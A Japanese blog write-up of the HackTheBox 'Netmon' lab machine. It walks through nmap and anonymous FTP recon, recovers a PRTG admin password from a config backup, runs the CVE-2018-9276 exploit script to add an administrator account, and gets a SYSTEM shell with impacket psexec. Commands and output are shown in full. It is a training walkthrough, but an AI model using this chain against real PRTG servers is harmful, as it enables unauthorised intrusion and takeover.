Port 53

明日のための技術メモ

HackTheBox Netmon Walkthrough

Netmonもクリアしていたので、Walkthroughを書く。
このマシン、User取るのは本当にあっけなかった。rootはそれなり。

目次

Recon

Nmap

対象はWindows Server2008-2012 R2、そしてFTPがanonymousユーザで入れる。
FTPで入った先から、ディレクトリを遡れるかもしれない。

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -Pn 10.129.96.142
[sudo] kali のパスワード:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 13:03 JST
Nmap scan report for 10.129.96.142
Host is up (0.37s latency).
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_02-25-19  11:49PM       <DIR>          Windows
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-server-header: PRTG/18.1.37.13946
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=5/7%OT=21%CT=1%CU=37628%PV=Y%DS=2%DC=T%G=Y%TM=6275F1E5
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=F7%GCD=1%ISR=109%TI=I%CI=I%TS=A)SEQ(SP=F7%
OS:GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M54BNW8ST11%O2=M54BNW8ST11
OS:%O3=M54BNW8NNT11%O4=M54BNW8ST11%O5=M54BNW8ST11%O6=M54BST11)WIN(W1=2000%W
OS:2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54BNW
OS:8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0
OS:%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4
OS:(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%
OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%R
OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2022-05-07T04:13:17
|_  start_date: 2022-05-07T03:52:51

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   349.36 ms 10.10.16.1
2   171.10 ms 10.129.96.142

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 606.26 seconds

FTPの調査

早速入ってみると、あっさりUserのディレクトリにたどり着いた。
user.txtをダウンロードして中身を確認。

┌──(kali㉿kali)-[~]
└─$ ftp 10.129.96.142 
Connected to 10.129.96.142.
220 Microsoft FTP Service
Name (10.129.96.142:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||50082|)
125 Data connection already open; Transfer starting.
02-03-19  12:18AM                 1024 .rnd
02-25-19  10:15PM       <DIR>          inetpub
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||50085|)
125 Data connection already open; Transfer starting.
02-25-19  11:44PM       <DIR>          Administrator
02-03-19  12:35AM       <DIR>          Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||50092|)
125 Data connection already open; Transfer starting.
02-03-19  08:05AM       <DIR>          Documents
07-16-16  09:18AM       <DIR>          Downloads
07-16-16  09:18AM       <DIR>          Music
07-16-16  09:18AM       <DIR>          Pictures
05-06-22  11:53PM                   34 user.txt
07-16-16  09:18AM       <DIR>          Videos
226 Transfer complete.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||50097|)
150 Opening ASCII mode data connection.
100% |***************************************************************************|    34        0.04 KiB/s    00:00 ETA
226 Transfer complete.
34 bytes received in 00:00 (0.03 KiB/s)
ftp> cd ../
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||50102|)
c125 Data connection already open; Transfer starting.
02-25-19  11:44PM       <DIR>          Administrator
02-03-19  12:35AM       <DIR>          Public
226 Transfer complete.
ftp> cd Administrator
550 Access is denied. 
ftp> bye
221 Goodbye.

┌──(kali㉿kali)-[~]
└─$ cat user.txt                                               
ac84c7ece6ae0365db72ddf309a0ce1e

user.txtはあっさり取れてしまったが、Administratorまでは入れない。
権限昇格をしないとダメそう。

Webの調査

PRTG NetworkMonitorのログイン画面が出てきた。
ここに入ってみたいけれど、ログイン情報がないので入る方法を考えたい。
Gobusterが不発に終わったのでディレクトリ列挙は諦めて、
PRTG NetworkMonitorについて調べたほうが良さそう。

権限昇格

さて、ここからが正念場。さすがにそう簡単にrootは取らせてくれまい...

PRTG NetworkMonitor

PRTG Manual: Login

デフォルトのログイン情報は、prtgadmin/prtgadminと調べたら出てきたので試したが、
すでに変えられてしまっていて入れない。

Nmapの結果から、使用バージョンは18.1.37.13946だった。
権限昇格に使えそうなexploitをsearchsploitで探す。

┌──(kali㉿kali)-[~]
└─$ searchsploit PRTG                                                                                               1 ⨯
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution                  | windows/webapps/46527.sh
PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS                                 | windows/webapps/49156.txt
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service)              | windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting                               | java/webapps/34108.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

コマンド実行に使えそうなものは、一番上に出ている46527.shだけ。
それも管理者権限をすでに手に入れてないと使えない。

ExploitDB

CVE-2018-9276

使用している脆弱性は、CVE-2018-9276。
バージョンが18.2.39以前のPRTG NetworkMonitorについて、管理者権限でWebコンソールに
ログイン可能な場合、OSコマンドインジェクションができてしまう。なかなか怖い。
一旦この情報を控えておいて、もう少し調査をすることにした。

FTPの調査続き

どこかにログイン情報あるんじゃないのと思い、もう一度FTPでサーバの中身を確認する。
隠しディレクトリも含め全表示すると、/ProgramData/Paessler/PRTG Network Monitor
設定ファイルがごろごろ転がっている。

ftp> dir -a
229 Entering Extended Passive Mode (|||52158|)
125 Data connection already open; Transfer starting.
11-20-16  10:46PM       <DIR>          $RECYCLE.BIN
02-03-19  12:18AM                 1024 .rnd
11-20-16  09:59PM               389408 bootmgr
07-16-16  09:10AM                    1 BOOTNXT
02-03-19  08:05AM       <DIR>          Documents and Settings
02-25-19  10:15PM       <DIR>          inetpub
05-06-22  11:52PM            738197504 pagefile.sys
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
12-15-21  10:40AM       <DIR>          ProgramData
02-03-19  08:05AM       <DIR>          Recovery
02-03-19  08:04AM       <DIR>          System Volume Information
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
226 Transfer complete.
ftp> cd ProgramData
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||52160|)
125 Data connection already open; Transfer starting.
12-15-21  10:40AM       <DIR>          Corefig
02-03-19  12:15AM       <DIR>          Licenses
11-20-16  10:36PM       <DIR>          Microsoft
02-03-19  12:18AM       <DIR>          Paessler
02-03-19  08:05AM       <DIR>          regid.1991-06.com.microsoft
07-16-16  09:18AM       <DIR>          SoftwareDistribution
02-03-19  12:15AM       <DIR>          TEMP
11-20-16  10:19PM       <DIR>          USOPrivate
11-20-16  10:19PM       <DIR>          USOShared
02-25-19  10:56PM       <DIR>          VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||52161|)
125 Data connection already open; Transfer starting.
05-07-22  03:22AM       <DIR>          PRTG Network Monitor
226 Transfer complete.
ftp> cd "PRTG Network Monitor"
250 CWD command successful.

ftp> dir -a
229 Entering Extended Passive Mode (|||52163|)
125 Data connection already open; Transfer starting.
12-15-21  08:23AM       <DIR>          Configuration Auto-Backups
05-07-22  12:03AM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
05-07-22  12:03AM       <DIR>          Logs (Web Server)
05-06-22  11:58PM       <DIR>          Monitoring Database
02-25-19  10:54PM              1189697 PRTG Configuration.dat
02-25-19  10:54PM              1189697 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
05-07-22  03:22AM              1713430 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database
226 Transfer complete.

ftp> pwd
Remote directory: /ProgramData/Paessler/PRTG Network Monitor

設定ファイルのバックアップがあったので確保。

ftp> get "PRTG Configuration.old"
local: PRTG Configuration.old remote: PRTG Configuration.old
229 Entering Extended Passive Mode (|||52200|)
150 Opening ASCII mode data connection.
  7% |*****                                                                      | 92667       90.44 KiB/s    00:11 ETAftp: Reading from network: システムコール割り込み
  0% |                                                                           |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
229 Entering Extended Passive Mode (|||52205|)
125 Data connection already open; Transfer starting.
 14% |**********                                                                 |   166 KiB  166.42 KiB/s    00:05 ETAftp: Reading from network: システムコール割り込み
  0% |                                                                           |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
ftp> get "PRTG Configuration.dat"
local: PRTG Configuration.dat remote: PRTG Configuration.dat
229 Entering Extended Passive Mode (|||52210|)
125 Data connection already open; Transfer starting.
  7% |*****                                                                      | 92667       90.45 KiB/s    00:11 ETAftp: Reading from network: システムコール割り込み
  0% |                                                                           |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
ftp> 

バックアップファイルの中身を見てみる。PRTG Configuration.old.bakの中にこんな記載が。
これはまさか、ポータルのパスワードかな?

                       <dbpassword>
                            <!-- User: prtgadmin -->
                    PrTg@dmin2018
                        </dbpassword>

PRTG Configuration.oldPRTG Configuration.datだとこんな感じなので、
ある時点でパスワードの記載を消したと思われる。

            <dbpassword>
              <flags>
                <encrypted/>
              </flags>
            </dbpassword>

そのまま見つけたパスワードをポータルに入力しても入れなかった。

最後の4桁が2018になっているので、多分これ年号ではと思い、2019に変えたらログインできた。
よく見ると新しそうな設定ファイルは2019年にできたものだった。

実際、パスワードが載っているファイルは2018年にできたものだった。
翌年の設定変更時に変えたようだ。

ログイン情報は、prtgadmin/PrTg@dmin2019

Exploit

もう一度さっき見つけたExploitに立ち返る。

ExploitDB

さっきのExploitをローカルにコピーしておく。
私はExploitDBのWebサイトを見て、そこからダウンロードすることが多いが、
searchsploitでも、serchsploit -m 使いたいExploit名でローカルコピーが可能。
Exploitの中身はWebサイトで確認して、コピーはsearchsploitでやっても良さそう。

使い方を確認すると、URLとポータルにアクセスした時のCookieが実行パラメータとして必要らしい。
なので、ポータルにログインした状態のCookieを控えておく。

┌──(kali㉿kali)-[~]
└─$ searchsploit PRTG
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution                  | windows/webapps/46527.sh
PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS                                 | windows/webapps/49156.txt
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service)              | windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting                               | java/webapps/34108.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                        
┌──(kali㉿kali)-[~]
└─$ searchsploit -m 46527.sh
  Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
      URL: https://www.exploit-db.com/exploits/46527
     Path: /usr/share/exploitdb/exploits/windows/webapps/46527.sh
File Type: Bourne-Again shell script, ASCII text executable, with very long lines (2429)

Copied to: /home/kali/46527.sh

これで実行してみる。

./46527.sh -u http://10.129.96.142 -c "_ga=GA1.4.1893321807.1651897988; _gid=GA1.4.1873659639.1651897988; OCTOPUS1813713946=e0RDRUY2Nzc3LTUyNjgtNEQxMS1BRUQ4LUM5RjhDM0FERUFFNn0%3D; _gat=1"
┌──(kali㉿kali)-[~]
└─$ ./46527.sh -u http://10.129.96.142 -c "_ga=GA1.4.1893321807.1651897988; _gid=GA1.4.1873659639.1651897988; OCTOPUS1813713946=e0RDRUY2Nzc3LTUyNjgtNEQxMS1BRUQ4LUM5RjhDM0FERUFFNn0%3D; _gat=1"

[+]#########################################################################[+] 
[*] Authenticated PRTG network Monitor remote code execution                [*] 
[+]#########################################################################[+] 
[*] Date: 11/03/2019                                                        [*] 
[+]#########################################################################[+] 
[*] Author: https://github.com/M4LV0   lorn3m4lvo@protonmail.com            [*] 
[+]#########################################################################[+] 
[*] Vendor Homepage: https://www.paessler.com/prtg                          [*] 
[*] Version: 18.2.38                                                        [*] 
[*] CVE: CVE-2018-9276                                                      [*] 
[*] Reference: https://www.codewatch.org/blog/?p=453                        [*] 
[+]#########################################################################[+] 

# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.                                                                                                                       
# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!'                    

[+]#########################################################################[+] 

 [*] file created 
 [*] sending notification wait....

 [*] adding a new user 'pentest' with password 'P3nT3st' 
 [*] sending notification wait....

 [*] adding a user pentest to the administrators group 
 [*] sending notification wait....


 [*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun! 
                                                                                     

管理者権限を持つpentestユーザができたので、これでログインしたい。
パスワードは、P3nT3st!で作ってくれたようだ。

では、ログインする時はどうすればいいのか?探してみると、便利なツールがあった

Linux から、リモートの Windows のコマンドを実行:impacket

impacket(GitHub)

GitHubのコードをそのままクローンし、使える状態にしてから、今回はpsexec.pyを実行する。
これはLinuxからWindowsリモートサーバにアクセスし、コマンド実行をすることができるツール。

┌──(kali㉿kali)-[~/tools/impacket/examples]
└─$ python3 psexec.py 'pentest:P3nT3st!@10.129.96.142'                                                            130 ⨯
Impacket v0.10.1.dev1+20220504.120002.d5097759 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.129.96.142.....
[*] Found writable share ADMIN$
[*] Uploading file bUzLTyeP.exe
[*] Opening SVCManager on 10.129.96.142.....
[*] Creating service kmIb on 10.129.96.142.....
[*] Starting service kmIb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd ../../
 
C:\> dir
 Volume in drive C has no label.
 Volume Serial Number is 0EF5-E5E5

 Directory of C:\

02/03/2019  12:18 AM             1,024 .rnd
02/25/2019  10:15 PM    <DIR>          inetpub
07/16/2016  09:18 AM    <DIR>          PerfLogs
02/25/2019  10:56 PM    <DIR>          Program Files
02/03/2019  12:28 AM    <DIR>          Program Files (x86)
02/03/2019  08:08 AM    <DIR>          Users
05/07/2022  08:47 AM    <DIR>          Windows
               1 File(s)          1,024 bytes
               6 Dir(s)   6,758,326,272 bytes free

C:\> cd Users
 
C:\Users> dir
 Volume in drive C has no label.
 Volume Serial Number is 0EF5-E5E5

 Directory of C:\Users

02/03/2019  08:08 AM    <DIR>          .
02/03/2019  08:08 AM    <DIR>          ..
02/25/2019  11:44 PM    <DIR>          Administrator
05/07/2022  08:20 AM    <DIR>          Public
               0 File(s)              0 bytes
               4 Dir(s)   6,758,326,272 bytes free

C:\Users> cd Administrator
 
C:\Users\Administrator> dir
 Volume in drive C has no label.
 Volume Serial Number is 0EF5-E5E5

 Directory of C:\Users\Administrator

02/25/2019  11:58 PM    <DIR>          .
02/25/2019  11:58 PM    <DIR>          ..
02/03/2019  08:08 AM    <DIR>          Contacts
02/03/2019  12:35 AM    <DIR>          Desktop
02/03/2019  08:08 AM    <DIR>          Documents
02/03/2019  08:08 AM    <DIR>          Downloads
02/03/2019  08:08 AM    <DIR>          Favorites
02/03/2019  08:08 AM    <DIR>          Links
02/03/2019  08:08 AM    <DIR>          Music
02/03/2019  08:08 AM    <DIR>          Pictures
02/03/2019  08:08 AM    <DIR>          Saved Games
02/03/2019  08:08 AM    <DIR>          Searches
02/25/2019  11:06 PM    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)   6,758,326,272 bytes free

C:\Users\Administrator> cd Desktop
 
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 0EF5-E5E5

 Directory of C:\Users\Administrator\Desktop

02/03/2019  12:35 AM    <DIR>          .
02/03/2019  12:35 AM    <DIR>          ..
05/06/2022  11:53 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   6,758,326,272 bytes free

C:\Users\Administrator\Desktop> type root.txt

impacketのpsexec.py、便利だった。Windowsサーバで認証情報が分かっている時はぜひ使いたい。
searchsploitももう少し使い方を覚えると動きやすいのかなと思った。